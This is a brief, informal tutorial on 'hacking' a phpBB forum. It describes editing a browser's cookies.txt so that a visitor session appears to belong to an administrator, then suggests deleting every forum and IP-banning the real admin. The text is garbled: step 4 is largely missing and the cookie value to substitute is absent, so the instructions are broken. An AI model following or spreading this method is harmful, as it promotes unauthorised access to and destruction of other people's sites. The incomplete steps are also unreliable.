how to hack phpbb tutorial-

1-Just visit the forums in Mozilla FireFox 2.
2. Close the browser.
3. Open cookies.txt (located at “C:\Documents and
Settings\username\Application\
Data\MozillaFirefox\Profiles\b
lah.default”). You have to view hidden
files and folders to see Application Data.

data. It says you are a visitor.
5. Open cookies.txt with your text editor, I used WordPad, and replace

save cookies.txt.
6. Open your browser again and go directly to the forums. You should
now be logged in as an admin! This doesn’t always work though, as some
forums have security patches installed.
Destroy everything by going to the admin control panel and delete
every forum. Then do an IP ban on the admin..
Just kiddin, Do whatever U like …..
